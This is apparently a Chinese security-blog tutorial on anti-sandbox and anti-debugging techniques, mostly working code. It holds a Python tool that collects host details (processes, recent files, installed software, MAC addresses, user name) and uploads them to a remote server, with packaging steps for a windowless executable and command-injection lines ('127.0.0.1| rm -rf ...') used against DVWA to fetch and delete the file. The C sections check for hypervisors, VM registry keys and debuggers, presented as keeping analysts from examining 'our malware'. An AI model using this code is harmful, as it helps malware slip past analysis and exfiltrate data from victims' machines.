你必须知道的反沙箱相关知识

文摘   2024-11-12 14:12   四川  


前言:

此为会员站用户kill3r分享,本文以代码+注释形式给大家介绍了反沙箱相关的内容。

原文链接:https://vip.bdziyi.com/54143/

获取沙箱环境

检查CPU是否支持虚拟化

def check_cpu_virtualization():
   try:
       # 创建WMI对象,用于访问系统的管理信息
       # https://medium.com/@marcovit87/pywin32-and-wmi-windows-mangement-instrumentation-navigating-windows-os-with-python-4a73bfcce59a
       c = wmi.WMI()
       # 初始化虚拟化信息和处理器名称的变量
       virtualization_info = "未能检索虚拟化信息"
       processor_name = "未知处理器"
       # 遍历系统中的所有处理器,通过WMI访问Win32_Processor类
       for processor in c.Win32_Processor():
           # 获取处理器的名称
           processor_name = processor.Name
           # 检查处理器是否具有VirtualizationFirmwareEnabled属性
           if hasattr(processor, "VirtualizationFirmwareEnabled"):
               # 如果有该属性,则处理器支持虚拟化,获取其值
               virtualization_info = f"支持虚拟化: {processor.VirtualizationFirmwareEnabled}"
           else:
               # 如果没有该属性,则处理器不支持虚拟化
               virtualization_info = "处理器不支持虚拟化"
       # 返回处理器名称和虚拟化信息的组合字符串
       return f"处理器: {processor_name}\n{virtualization_info}\n"
   except Exception as e:
       # 如果在处理过程中发生异常,捕获并返回错误信息
       return f"Error checking CPU virtualization: {e}\n"

获取系统语言

def check_language():
   try:
       # 调用 Windows API 函数 GetUserDefaultUILanguage 以获取当前用户的默认UI语言ID
       # 使用 ctypes.windll 来访问 kernel32.dll 并调用其导出函数
       lang_id = ctypes.windll.kernel32.GetUserDefaultUILanguage()
       
       # 格式化返回的语言ID为十六进制字符串,并返回结果
       # 格式化字符串 '#04x' 将整数转换为四位的十六进制格式,前面带有 "0x"
       # https://winprotocoldocs-bhdugrdyduf5h2e4.b02.azurefd.net/MS-LCID/%5bMS-LCID%5d.pdf
       return f"语言ID: {lang_id:#04x}\n"
   
   except Exception as e:
       # 如果在获取语言ID的过程中出现异常,捕获异常并返回错误信息
       return f"Error checking language: {e}\n"

获取进程信息

def get_process_count():
   process_list = "\n=== 进程列表 ===\n"
   try:
       # 创建一个 WMI 客户端对象,用于访问系统的管理信息
       # 通过 win32com.client 的 GetObject 方法连接到 WMI 服务
       wmi_client = win32com.client.GetObject("winmgmts:")
       # 通过调用 InstancesOf 方法获取当前系统中所有运行的进程实例
       # "Win32_Process" 是一个 WMI 类,表示系统中的进程
       process_instances = wmi_client.InstancesOf("Win32_Process")

       # 计算当前运行的进程的数量
       process_list += f"进程数量:{len(process_instances)}\n"
       for process in process_instances:
           process_list += f"进程名称: {process.Name}, PID: {process.ProcessId}\n"
       # 返回进程数量的信息字符串
       return process_list
   except Exception as e:
       # 如果在获取进程数量的过程中出现异常,捕获异常并返回错误信息
       return f"Error checking process count: {e}\n"

获取CPU信息

def get_cpu_info():
   try:
       # 使用 win32com.client 来访问 Windows WMI 服务
       # 获取一个 WMI 客户端对象,这样可以通过 WMI 查询获取系统信息
       wmi_client = win32com.client.GetObject("winmgmts:")
       
       # 使用 WMI 查询 "Win32_Processor" 类来获取处理器信息
       # 通过生成器表达式计算查询结果中的处理器数量
       cpu_count = sum(1 for _ in wmi_client.ExecQuery("Select * from Win32_Processor"))
       
       # 使用 psutil 库获取物理核心数和逻辑处理器数
       # 返回一个格式化字符串,包含CPU数量、物理核心数和逻辑处理器数
       return (
           f"CPU数量: {cpu_count}\n"  # 从 WMI 获取的CPU数量
           f"CPU物理核心: {psutil.cpu_count(logical=False)}\n"  # 物理核心数,不包括超线程逻辑核心
           f"CPU逻辑数量: {psutil.cpu_count()}\n"  # 总逻辑处理器数,包括超线程
      )
   except Exception as e:
       # 如果在任何一步发生异常,捕获异常并返回包含错误信息的字符串
       return f"Error checking CPU count: {e}\n"

获取开机时间

def check_start_time():
   try:
       # 使用 psutil 模块的 boot_time() 函数获取系统的启动时间
       # boot_time() 返回的是自 Unix 纪元以来的秒数,表示系统启动的时间
       uptime = psutil.boot_time()
       
       # 使用 time 模块的 time() 函数获取当前的时间
       # time() 返回的是当前时间自 Unix 纪元以来的秒数
       current_time = time.time()
       
       # 计算系统的运行时间(以分钟为单位)
       # 当前时间减去启动时间获取系统的运行时间(秒),再除以60转换为分钟
       # 使用格式化字符串将时间格式化为保留两位小数的浮点数
       return f"开机时间: {(current_time - uptime) / 60:.2f}分钟\n"
   except Exception as e:
       # 如果在计算开机时间的过程中出现异常,捕获异常并返回错误信息
       return f"Error checking start time: {e}\n"

获取虚拟环境DLLS

def check_sandbox_dlls():
   # 要检查的文件路径列表,这些路径通常与虚拟机或沙箱软件相关
   # 如果这些文件存在,可能表明该系统运行在虚拟机或沙箱环境中
   file_paths = [
       r"C:\Program Files\VMware\VMware Tools\vmtoolsd.exe",
       r"C:\Program Files\Common Files\VMware\Drivers\mouse\Win8\vmmousever.dll",
       r"C:\windows\System32\Drivers\Vmmouse.sys",
       r"C:\windows\System32\Drivers\vmtray.dll",
       r"C:\windows\System32\Drivers\VMToolsHook.dll",
       r"C:\windows\System32\Drivers\vmmousever.dll",
       r"C:\windows\System32\Drivers\vmhgfs.dll",
       r"C:\windows\System32\Drivers\vmGuestLib.dll",
       r"C:\windows\System32\Drivers\VBoxMouse.sys",
       r"C:\windows\System32\Drivers\VBoxGuest.sys",
       r"C:\windows\System32\Drivers\VBoxSF.sys",
       r"C:\windows\System32\Drivers\VBoxVideo.sys",
       r"C:\windows\System32\vboxdisp.dll",
       r"C:\windows\System32\vboxhook.dll",
       r"C:\windows\System32\vboxoglerrorspu.dll",
       r"C:\windows\System32\vboxoglpassthroughspu.dll",
       r"C:\windows\System32\vboxservice.exe",
       r"C:\windows\System32\vboxtray.exe",
       r"C:\windows\System32\VBoxControl.exe"
  ]
   
   # 初始化一个字符串,用于存储检查结果,并包含一个标题行
   existing_files = "=== 沙箱相关 === \n"

   # 遍历每个文件路径,检查该路径所指的文件是否存在
   for file_path in file_paths:
       # 使用 os.path.exists() 检查文件是否存在
       if os.path.exists(file_path):
           # 如果文件存在,将文件路径加入结果字符串
           existing_files += f"{file_path}\n"
       else:
           # 如果文件不存在,记录文件未找到的信息
           existing_files += f"File not found: {file_path}\n"

   # 返回包含所有检查结果的字符串
   return existing_files

获取当前用户

def get_user():
   try:
       # 尝试获取当前登录用户的用户名
       # os.getlogin() 返回当前在控制台上登录的用户的用户名
       return f"当前用户: {os.getlogin()}\n"
   except Exception as e:
       # 如果在获取用户名的过程中出现异常,捕获异常并返回错误信息
       return f"Error checking admin user: {e}\n"

获取硬盘信息

def get_disk_info():
   # 初始化一个包含标题的字符串,用于存储所有磁盘信息
   disk_info = "\n=== 硬盘信息 ===\n"
   
   try:
       # 使用 psutil.disk_partitions() 获取系统中所有分区的信息
       # https://liaoxuefeng.com/books/python/third-party-modules/psutil/
       partitions = psutil.disk_partitions()
       
       # 遍历每个分区,获取详细信息
       for partition in partitions:
           # 获取分区的使用情况
           try:
               usage = psutil.disk_usage(partition.mountpoint)  # 获取分区的使用情况
               total_size_gb = usage.total / (1024 ** 3)  # 将字节转换为GB
               
               # 将获取到的分区信息格式化并添加到 disk_info 字符串中
               disk_info += (
                   f"盘符: {partition.device}\n"  # 分区设备名
                   f"挂载点: {partition.mountpoint}\n"  # 挂载点
                   f"文件系统类型: {partition.fstype}\n"  # 文件系统类型
                   f"总大小: {total_size_gb:.2f} GB\n\n"  # 总大小,以GB为单位,保留两位小数
              )
           except PermissionError:
               # 如果访问某个分区的使用情况时权限不足,捕获异常并记录相关信息
               disk_info += (
                   f"盘符: {partition.device}\n"  # 分区设备名
                   "挂载点: Access Denied\n"  # 无法访问挂载点
                   "文件系统类型: Unknown\n"  # 无法获取文件系统类型
                   "总大小: Unknown\n\n"  # 无法获取总大小
              )
   except Exception as e:
       # 如果在获取分区信息的过程中出现异常,捕获异常并返回错误信息
       return f"Error retrieving disk information: {e}\n"
   
   # 返回包含所有分区信息的字符串
   return disk_info

获取MAC信息

def get_all_mac_addresses():
    # 初始化一个字符串,用于存储所有接口的MAC地址信息
    mac_addresses = "=== 所有接口的MAC地址 ===\n"
    
    try:
        # 使用 win32com.client 来访问 Windows WMI 服务
        # 获取一个 WMI 客户端对象,可以通过WMI查询获取系统信息
        wmi_client = win32com.client.GetObject("winmgmts:")
        
        # 使用 WMI 查询 "Win32_NetworkAdapter" 类来获取所有网络适配器的信息
        for nic in wmi_client.InstancesOf("Win32_NetworkAdapter"):
            # 检查网络适配器是否有MAC地址和网络连接ID
            if nic.MACAddress and nic.NetConnectionID:
                # 如果MAC地址和连接ID存在,将其格式化并添加到 mac_addresses 字符串中
                mac_addresses += (
                    f"接口名称: {nic.NetConnectionID}, "  # 网络接口的连接名称
                    f"MAC地址: {nic.MACAddress}\n"  # MAC地址
                )
    except Exception as e:
        # 如果在任何步骤中发生异常,捕获异常并返回包含错误信息的字符串
        return f"Error retrieving MAC addresses: {e}\n"
    
    # 返回包含所有获取的MAC地址信息的字符串
    return mac_addresses

获取USB设备

def get_usb_devices():
    # 初始化一个字符串,用于存储所有USB设备的信息
    usb_devices = "\n === USB设备信息 ===\n"
    
    try:
        # 使用 win32com.client 来访问 Windows WMI 服务
        # 获取一个 WMI 客户端对象,可以通过WMI查询获取系统信息
        wmi_client = win32com.client.GetObject("winmgmts:")
        
        # 使用 WMI 查询 "Win32_PnPEntity" 类来获取所有即插即用设备的信息
        for device in wmi_client.InstancesOf("Win32_PnPEntity"):
            # 检查设备是否有名称,并且名称或描述中包含 "USB"
            if device.Name and ("USB" in device.Name or "USB" in device.Description):
                # 如果设备名称或描述中包含 "USB",则认为是USB设备
                # 将设备的相关信息格式化并添加到 usb_devices 字符串中
                usb_devices += (
                    f"设备名称: {device.Name}\n"  # 设备的名称
                    f"设备ID: {device.DeviceID if device.DeviceID else 'N/A'}\n"  # 设备ID,如果不存在则显示 'N/A'
                    f"PNP设备ID: {device.PNPDeviceID if device.PNPDeviceID else 'N/A'}\n"  # PNP设备ID,如果不存在则显示 'N/A'
                    f"描述: {device.Description if device.Description else 'N/A'}\n\n"  # 设备描述,如果不存在则显示 'N/A'
                )
    except Exception as e:
        # 如果在获取设备信息的过程中发生异常,捕获异常并将错误信息添加到 usb_devices 字符串中
        usb_devices += f"Error retrieving USB device information: {e}\n"
    
    # 返回包含所有USB设备信息的字符串
    return usb_devices

获取历史文件

def get_recent_files():
    # 初始化一个字符串,用于存储所有最近访问文件的信息
    get_recent_files_list = "=== Recent文件 ===\n"
    
    try:
        # 使用 win32com.client 访问 Windows Shell API
        # Dispatch 创建一个 Shell.Application 对象,用于与 Windows Shell 进行交互
        shell = win32com.client.Dispatch("Shell.Application")
        
        # 获取指定的命名空间,此处 0x08 对应于 Windows 的 'Recent' 文件夹
        namespace = shell.NameSpace(0x08)  # 0x08 是系统中“最近使用的文件”文件夹的命名空间标识符
        
        # 如果无法获取 'Recent' 文件夹的命名空间,返回错误信息
        if namespace is None:
            return "无法获取 'Recent' 文件夹的命名空间\n"
        
        # 获取 'Recent' 文件夹中的所有项目
        items = namespace.Items()
        
        # 将文件夹中的文件数量添加到结果字符串中
        get_recent_files_list += f"Recent 文件夹中的文件数量: {items.Count}\n"
        
        # 遍历每个项目,将其名称添加到结果字符串中
        for item in items:
            get_recent_files_list += f"{item.Name}\n"  # 文件名称
        
        # 返回包含所有最近访问文件的信息的字符串
        return get_recent_files_list
    
    except Exception as e:
        # 如果在访问 'Recent' 文件夹的过程中发生异常,捕获异常并返回包含错误信息的字符串
        return f"无法访问 'Recent' 文件夹: {e}\n"

Systeminfo

def get_system_info():
    try:
        # 初始化一个字符串,用于存储系统信息
        system_info = "\n=== 系统信息 ===\n"     
        # 使用 subprocess 模块执行命令行命令
        # 调用 `systeminfo` 命令以获取系统的详细信息
        # check_output 函数执行命令并返回其输出,参数解释:
        # - "systeminfo":要执行的命令
        # - shell=True:在命令行的shell中执行命令
        # - text=True:将输出解码为文本字符串(相当于设置 `universal_newlines=True`)
        output = subprocess.check_output("systeminfo", shell=True, text=True)   
        # 将获取的系统信息输出添加到 system_info 字符串中
        system_info += output
        # 返回包含所有系统信息的字符串
        return system_info
    except subprocess.CalledProcessError as e:
        # 如果在执行命令时发生错误,捕获 CalledProcessError 异常
        # 返回包含错误信息的字符串,指示获取系统信息失败
        return f"获取系统信息失败: {e}\n"

获取已安装软件

def get_installed_software():
    try:
        # 初始化一个字符串,用于存储已安装软件的信息
        installed_software = "\n=== 已安装软件 ===\n"
        # 使用 subprocess 模块执行命令行命令
        # 调用 `wmic product list brief` 命令以获取已安装的软件列表的简要信息
        # check_output 函数执行命令并返回其输出,参数解释:
        # - "wmic product list brief":要执行的命令,用于列出已安装软件的简要信息
        # - shell=True:在命令行的shell中执行命令
        # - text=True:将输出解码为文本字符串(在 Python 3.7 及以上版本中,text=True 等效于 universal_newlines=True)
        output = subprocess.check_output("wmic product list brief", shell=True, text=True)
        # 将获取的已安装软件信息输出添加到 installed_software 字符串中
        installed_software += output
        # 返回包含所有已安装软件信息的字符串
        return installed_software
    except subprocess.CalledProcessError as e:
        # 如果在执行命令时发生错误,捕获 CalledProcessError 异常
        # 返回包含错误信息的字符串,指示获取已安装软件失败
        return f"获取已安装软件失败: {e}\n"

上传

def upload_file(url, cookie, info):
    # 构造HTTP请求的头部信息
    headers = {
        'Referer': url,      # 'Referer'头部,通常用于标识请求来源页面
        'Cookie': cookie     # 'Cookie'头部,用于在请求中附带会话或状态信息
    }
    
    # 构造表单数据项
    data = {
        'MAX_FILE_SIZE''100000',  # 表单中指定的文件大小限制,单位为字节(这里为100KB)
        'Upload''Upload'          # 表单中可能的一个字段,表示上传操作
    }
    
    # 构造要上传的文件信息
    files = {
        'uploaded': (               # 表单中对应文件上传字段的名称
            f'{os.getlogin()}---info.txt',  # 上传文件的名称,使用当前登录用户名拼接固定字符串
            info,                   # 文件的内容,通过info参数传入
            'text/plain'            # 文件的MIME类型,这里指定为纯文本
        )
    }
    
    # 使用 requests 库发送HTTP POST请求
    requests.post(
        url,            # 目标URL
        headers=headers,  # 请求头部信息
        data=data,        # 表单数据项
        files=files       # 要上传的文件信息
    )

Main

def main():
    report = (
            "=== 系统综合信息报告 ===\n"
            + check_cpu_virtualization() + check_language()
            + get_cpu_info() + get_user()
            + get_process_count() + check_start_time()
            + check_sandbox_dlls() + get_disk_info()
            + get_all_mac_addresses() + get_usb_devices()
            + get_recent_files() + get_current_directory_and_app_name()
            + get_system_info() + get_installed_software()
    )
    return report



if __name__ == "__main__":
    # 打包流程:
    #     1. python -m venv venv
    #     2. venv\Scripts\activate
    #     3. pip install -r requirements.txt
    #     4. pyinstaller --onefile --noconsole --clean --strip box.py
    # 信息下载
    #     1. dvwa: host/vulnerabilities/exec/#
    #     2. 127.0.0.1| ls ../../hackable/uploads/
    #     3. 访问: http://{host}/hackable/uploads/{user}---info.txt
    #     4. 删除 127.0.0.1| rm -rf ../../hackable/uploads/{user}---info.txt
    #     5. 再次确认是否删除 127.0.0.1| ls ../../hackable/uploads/
    upload_file('http://***.***.***.***/vulnerabilities/upload/',
                         'PHPSESSID=0c64j18co158fig75btom3icr3; security=low', main())
image-20241106133625341
image-20241106194647995

反调试

反虚拟化是指检测恶意软件是否运行在虚拟机/沙盒上而不是物理机器上,这可以通过多种方式完成:

  • 检查屏幕分辨率:如果你在一个自动沙盒上,一些简单的指标,如屏幕分辨率可能会让你放弃。
  • 检查I/O设备(鼠标,键盘等):自动沙盒不会有I/O设备,因为它们不用于日常机器或虚拟机,它们仅用于分析恶意软件。
  • 检查正在运行的进程或系统上的文件:简单地枚举机器上当前正在运行的进程将给你提示,如果它是一个只运行默认进程的沙箱,或者是一个具有许多基本使用应用程序的实际机器。
  • 使用GetTickCount()用于确定PE是否正在调试,通过确定运行二进制文件所需的时间并在执行过程中重新检查它.您可以查看是否有断点延迟执行:添加两个任意GetTickCount()函数,存储T并硬编码.
    • T是您的程序从第一个函数调用到第二个函数调用的时间,假设为50秒。然后,您可以在目标机器上执行恶意软件时添加检查,如果T超过50秒,这意味着有人可能正在调试您的exe。(您可能会为不同处理器之间的性能差异添加误差幅度)
img

Cpuid

__Cpuid():这是一个函数,如果检测到Hypervisor供应商,它将为我们提供有关Hypervisor供应商的信息

#include <intrin.h>

void getCpuInfo() {
    // cpuInfo数组现在包含CPU的基本信息
    // cpuInfo[0] - EAX寄存器内容
    // cpuInfo[1] - EBX寄存器内容
    // cpuInfo[2] - ECX寄存器内容
    // cpuInfo[3] - EDX寄存器内容
    int cpuInfo[4];  // 用于存储CPUID指令的返回值
    __cpuid(cpuInfo, 0);  // 执行CPUID指令并获取信息    
}
  1. 参数1是一个整型数组,通常有四个元素,用于存储从EAX、EBX、ECX和EDX寄存器返回的值。
  2. 参数2是一个整数,用于指定要查询的 CPUID 信息的功能参数(即功能号)
    1. 0: 返回最大支持的功能号,以及厂商ID字符串。
    2. 1: 返回处理器的版本信息、特征标志等。
BOOL CheckCpuid1() {
    // 用于存储CPUID指令返回的信息
    int cpuinfo[4]; 
    // 调用CPUID指令,使用功能号1,获取处理器信息
    __cpuid(cpuinfo, 1);
    // 检查ECX寄存器的第31位是否被设置
    int bit = (cpuinfo[2] >> 31 & 1); 
    if (bit) // 如果第31位被设置
    {   
        printf("[+] cpuid 第 31 bit 被设置为 1,检测到虚拟处理器\n");
        return TRUE;
    }
    // CPUID.01h.ECX:31
}

如果我们将leef从0x1更改为0x40000000,我们将获得供应商信息。

image-20241106201044511
void CheckCpuid2() {
    int cpuinfo[4]; // 用于存储CPUID指令返回的信息
    __cpuid(cpuinfo, 0x40000000); // 调用CPUID指令,使用功能号0x40000000,获取虚拟化厂商的签名

    // 超级管理程序厂商签名存储在cpuinfo的1、2、3号索引中
    char vendor[13]; // 用于存储厂商字符串
    memcpy(vendor, &cpuinfo[1], 4); // 复制信息到vendor
    memcpy(vendor + 4, &cpuinfo[2], 4);
    memcpy(vendor + 8, &cpuinfo[3], 4);
    vendor[12] = '\0'; // 设置字符串结束符

    printf("\t虚拟机管理程序供应商: %s\n", vendor); // 打印虚拟化厂商签名
}

最终函数

#include <stdio.h>
#include <intrin.h>  // 用于使用 __cpuid
#include <Windows.h>
BOOL CheckCpuid() {
    int cpuinfo[4];  // 用于存储CPUID指令返回的信息
    // 第一次调用 CPUID 指令,使用功能号 1,获取处理器信息
    __cpuid(cpuinfo, 1);
    // 检查 ECX 寄存器的第 31 位是否被设置
    int bit = (cpuinfo[2] >> 31) & 1;
    if (bit) {  // 如果第 31 位被设置
        printf("[+] cpuid 第 31 bit 被设置为 1, 检测到虚拟处理器\n");
        // 第二次调用 CPUID 指令,使用功能号 0x40000000,获取虚拟化厂商的签名
        __cpuid(cpuinfo, 0x40000000);
        // 超级管理程序厂商签名存储在 cpuinfo 的 1、2、3 号索引中
        char vendor[13];  // 用于存储厂商字符串
        memcpy(vendor, &cpuinfo[1], 4);  // 复制信息到 vendor
        memcpy(vendor + 4, &cpuinfo[2], 4);
        memcpy(vendor + 8, &cpuinfo[3], 4);
        vendor[12] = '\0';  // 设置字符串结束符
        printf("虚拟机管理程序供应商: %s\n", vendor);  // 打印虚拟化厂商签名
        return TRUE;
    }
    // 如果没有检测到虚拟处理器,返回 FALSE
    printf("[-] 未检测到虚拟处理器\n");
    return FALSE;
}

int main() {
    CheckCpuid();
    return 0;
}

注册表

  • HyperV : HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Virtual Machine\Guest\Parameters
img

在hostname和Physical Hostname中,您可以找到物理主机名和主机的域名。

  • VirtualBox:对于VirtualBox,只有在使用VirtualBox的客户机上才能找到注册表项HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
img

VMware:HKEY_LOCAL_MACHINE\SOFTWARE\VMware, Inc.\VMware Tools

image-20241106202436703
#include <iostream>
#include <Windows.h>
BOOL CheckHypervisor() {
    HKEY hkey;  // 用于存储打开注册表项的句柄
    LONG Result;  // 用于存储注册表操作的返回值
    BYTE data[256], data2[256];  // 用于存储从注册表中查询的值
    DWORD dataSize = sizeof(data);  // 存储数据大小,用于查询注册表值时用
    DWORD dwType = REG_SZ;  // 指定注册表值的数据类型(字符串类型)

    // 检查是否在 Hyper-V 中运行
    Result = RegOpenKeyExA(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Virtual Machine\\Guest\\Parameters", 0, KEY_READ | KEY_WOW64_64KEY, &hkey);
    if (Result == ERROR_SUCCESS) {
        // 如果能够成功打开注册表项,表示在 Hyper-V 中运行
        printf("[+] 当前运行在 Hyper-V 虚拟机中\n");

        // 查询虚拟机名称
        Result = RegQueryValueExA(hkey, "VirtualMachineName", NULL, NULL, data, &dataSize);
        printf("[+] 虚拟机名称: %s\n", (unsigned char*)data);

        // 查询主机名
        Result = RegQueryValueExA(hkey, "HostName", NULL, NULL, data2, &dataSize);
        printf("[+] 主机名: %s\n", (unsigned char*)data2);

        // 查询物理宿主机的完全限定名称
        Result = RegGetValueA(hkey, NULL, "PhysicalHostNameFullyQualified", RRF_RT_REG_SZ, &dwType, data2, &dataSize);
        printf("[+] 物理宿主机名字: %s\n", (unsigned char*)data2);

        // 关闭注册表项句柄
        RegCloseKey(hkey);
        // 返回 TRUE 表示检测到虚拟化软件
        return TRUE;
    }

    // 检查是否在 VirtualBox 中运行
    Result = RegOpenKeyExA(HKEY_LOCAL_MACHINE, "HARDWARE\\ACPI\\DSDT\\VBOX__", 0, KEY_READ | KEY_WOW64_64KEY, &hkey);
    if (Result == ERROR_SUCCESS) {
        // 如果能够成功打开注册表项,表示在 VirtualBox 中运行
        printf("[+] 当前运行在 VirtualBox 虚拟机中\n");
        RegCloseKey(hkey);
        return TRUE;
    }
    RegCloseKey(hkey);

    // 检查是否在 VMware 中运行
    Result = RegOpenKeyExA(HKEY_LOCAL_MACHINE, "SOFTWARE\\VMware, Inc.\\VMware Tools", 0, KEY_READ | KEY_WOW64_64KEY, &hkey);
    if (Result == ERROR_SUCCESS) {
        // 如果能够成功打开注册表项,表示在 VMware 中运行
        printf("[+] 当前运行在 VMware 虚拟机中\n");
        RegCloseKey(hkey);
        return TRUE;
    }
    RegCloseKey(hkey);
    return FALSE;  // 如果没有检测到任何虚拟化软件,返回 FALSE
}


int main()
{
    CheckHypervisor();
}
  1. RegOpenKeyExA:

    RegOpenKeyExA 是 Windows API 中的一个函数,用于打开一个注册表项并获得一个句柄,打开的注册表项可以用来查询或设置值。

  • HKEY hKey: 要打开的注册表项的根键。
  • LPCSTR lpSubKey: 要打开的子项的名称。
  • DWORD ulOptions: 保留,通常为 0。
  • REGSAM samDesired: 指定所需的访问权限。
  • PHKEY phkResult: 指向接收打开的注册表项句柄的变量的指针。
  • RegCloseKey:

    RegCloseKey 用于关闭打开的注册表项句柄。

    • HKEY hKey: 要关闭的注册表项的句柄。
  • RegQueryValueExA:

    RegQueryValueExA 用于检索指定注册表项中的某个值。

    • HKEY hKey: 包含要检索的值的注册表项的句柄。
    • LPCSTR lpValueName: 要检索的值的名称。
    • LPDWORD lpReserved: 保留,必须为 NULL。
    • LPDWORD lpType: 指向接收值类型的变量的指针。
    • LPBYTE lpData: 指向接收数据的缓冲区的指针。
    • LPDWORD lpcbData: 指向接收数据大小的变量的指针。
  • RegGetValueA:

    RegGetValueA 从注册表中检索值。与 RegQueryValueExA 不同,它可以获取嵌套的子项值。

    • HKEY hKey: 包含要检索值的注册表项的句柄。
    • LPCSTR lpSubKey: 要打开的子项的名称。
    • LPCSTR lpValue: 要检索的值的名称。
    • DWORD dwFlags: 指定如何检索信息。
    • LPDWORD pdwType: 指向接收值类型的变量的指针。
    • PVOID pvData: 指向接收数据的缓冲区的指针。
    • LPDWORD pcbData: 指向接收数据大小的变量的指针。
    image-20241106203403836

    反调试

    反调试是阻止恶意软件分析师调试/逆向我们的恶意软件的行为.

    反调试技术,即BeingDebugged,但在讨论这个技术之前,需要先了解一下PEB(Process Environment Block:进程环境块).

    PEB(Process Environment Block):

    • PEB是Windows操作系统中的一个数据结构,用于存储关于当前进程状态和环境的信息。每个进程在其自身的地址空间中有一个PEB
    • PEB包含的信息包括:
      • 进程加载的模块(DLL)
      • 进程参数(例如命令行参数)
      • 环境变量
      • 进程的运行时数据
      • 以及其他关于进程的元数据
    typedef struct _PEB {
      BYTE Reserved1[2];  // 保留字段,用于对齐或未来使用
      BYTE BeingDebugged;  // 表示进程是否被调试器调试,0为否,非0为是
      BYTE Reserved2[1];  // 保留字段,用于对齐或未来使用
      PVOID Reserved3[2];  // 保留字段,通常用于指向内部结构或未来扩展
      PPEB_LDR_DATA Ldr;  // 指向加载器数据的指针,包含该进程中加载的模块信息
      PRTL_USER_PROCESS_PARAMETERS ProcessParameters;  // 指向进程参数的指针,包含命令行参数、环境变量等
      PVOID Reserved4[3];  // 保留字段
      PVOID AtlThunkSListPtr;  // 指向线程本地存储的Thunk列表指针
      PVOID Reserved5;  // 保留字段
      ULONG Reserved6;  // 保留字段
      PVOID Reserved7;  // 保留字段
      ULONG Reserved8;  // 保留字段
      ULONG AtlThunkSListPtr32;  // 32位进程的线程本地存储Thunk列表指针
      PVOID Reserved9[45];  // 大量保留字段
      BYTE Reserved10[96];  // 保留字节,用于对齐或未来使用
      PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;  // 进程初始化后的回调例程
      BYTE Reserved11[128];  // 保留字节
      PVOID Reserved12[1];  // 保留字段
      ULONG SessionId;  // 当前会话的ID,用于区分不同的用户会话
    } PEB, *PPEB;
    img

    BeingDebugged

    #include <stdio.h>      // 标准输入输出库,提供输入输出函数,如 printf 和 scanf
    #include <Windows.h>    // Windows API 头文件,提供大多数 Windows 操作系统功能的访问,如窗口管理和进程控制

    // 仅在需要时定义简化版的PEB结构体
    typedef struct _PEB {
        BYTE Reserved1[2];
        BYTE BeingDebugged; // 检查此标志来确定是否在被调试
        BYTE Reserved2[1];
        // ... 其他成员
    } PEB, * PPEB;

    // 检查当前进程是否在被调试
    BOOL IsDebuggerPresent2() {
    #ifdef _WIN64   
        // 对于64位程序,从GS段寄存器读取PEB地址
        PPEB pPeb = (PEB*)(__readgsqword(0x60)); // Process Environment Block
    #elif _WIN32
        // 对于32位程序,从FS段寄存器读取PEB地址
        PPEB pPeb = (PEB*)(__readfsdword(0x30));
    #endif
        if (pPeb->BeingDebugged == 1) { // 如果BeingDebugged标志被设置
            return TRUE; // 返回TRUE,表示正在被调试
        }

        return FALSE; // 返回FALSE,表示没有被调试
    }
    int main()
    {
        if (IsDebuggerPresent2()) {
            printf("[+] 正在被调试!\n");
        }
        else
        {
            printf("[-] 没有被调试.\n");
        }
    }
    image-20241106205411506

    DebugBreak

    DebugBreak():debugbreak是我们的第二个反调试技术,其中DebugBreak()函数会导致在当前进程中引发断点异常。这允许调用线程用信号通知调试器处理异常。因此,我们依赖于GetExceptionCode()函数的返回,它将告诉我们异常是否由调试器处理.

    #include <stdio.h>      // 标准输入输出库,提供输入输出函数,如 printf 和 scanf
    #include <Windows.h>    // Windows API 头文件,提供大多数 Windows 操作系统功能的访问,如窗口管理和进程控制

    // 自定义反调试函数
    BOOL CheckDebuggerPresence() {
        __try {
            DebugBreak(); // 触发调试中断异常,这通常会中断到调试器中,如果有调试器附加
            return TRUE;  // 如果代码执行到这里,说明异常被调试器处理了,返回TRUE表示正在被调试
        }
        __except (GetExceptionCode() == EXCEPTION_BREAKPOINT ? EXCEPTION_EXECUTE_HANDLER : EXCEPTION_CONTINUE_SEARCH) {
            // 检查异常代码是否是 EXCEPTION_BREAKPOINT。如果是,执行异常处理程序。
            // EXCEPTION_BREAKPOINT 是一个常量,表示断点异常,通过调试器捕获。
            
            printf("[-] 未被调试器处理\n");  // 如果异常未被调试器处理,则打印信息并表示没有调试器附加
            return FALSE;  // 返回FALSE表示没有调试器在附加
        }
    }

    int main() {
        CheckDebuggerPresence();  // 调用自定义反调试函数,检查当前进程是否被调试
    }

    ContextLogRegisters

    #include <stdio.h>      // 标准输入输出库,提供输入输出函数,如 printf 和 scanf。
    #include <Windows.h>    // Windows API 头文件,提供大多数 Windows 操作系统功能的访问,如窗口管理和进程控制。

    // 检查当前线程是否被调试
    BOOL IsThreadBeingDebugged() {
        CONTEXT Ctx;  // 定义一个 CONTEXT 结构体变量,用于保存线程的上下文信息。
        Ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;  // 设置 CONTEXT 标志,只获取调试寄存器的信息。
        
        // 获取当前线程的上下文信息,包括调试寄存器
        if (!GetThreadContext(GetCurrentThread(), &Ctx)) {
            // 如果获取失败,打印错误消息并显示错误代码(使用 GetLastError() 获取)
            printf("\t\n [!] 获取线程上下文失败,错误代码:0x%lu \n", GetLastError());
            return FALSE;  // 返回 FALSE,表示操作失败或没有调试器附加。
        }
        
        // 检查调试寄存器 Dr0, Dr1, Dr2, Dr3 是否被设置
        if (Ctx.Dr0 != NULL || Ctx.Dr1 != NULL || Ctx.Dr2 != NULL || Ctx.Dr3 != NULL) {
            // 如果有任意一个寄存器不为空,说明有硬件断点被设置
            printf("[+] 已在以下地址设置硬件断点:\n\t Dr0 地址:0x%llx \n\t Dr1 地址:0x%llx \n\t Dr2 地址:0x%llx \n\t Dr3 地址:0x%llx\n", Ctx.Dr0, Ctx.Dr1, Ctx.Dr2, Ctx.Dr3);
            printf("[+] 当前线程正在被调试\n");  // 打印信息,表示线程正在被调试。
            return TRUE;  // 返回 TRUE,表示当前线程正在被调试。
        }
        else {
            // 否则,表示没有调试器附加或没有设置硬件断点
            printf("[-] 没有设置硬件断点\n");  // 打印信息,表示没有硬件断点。
            return FALSE;  // 返回 FALSE,表示没有调试器附加。
        }
    }

    int main() {
        IsThreadBeingDebugged();  // 调用函数以检查当前线程是否被调试。
    }

    终止分析工具

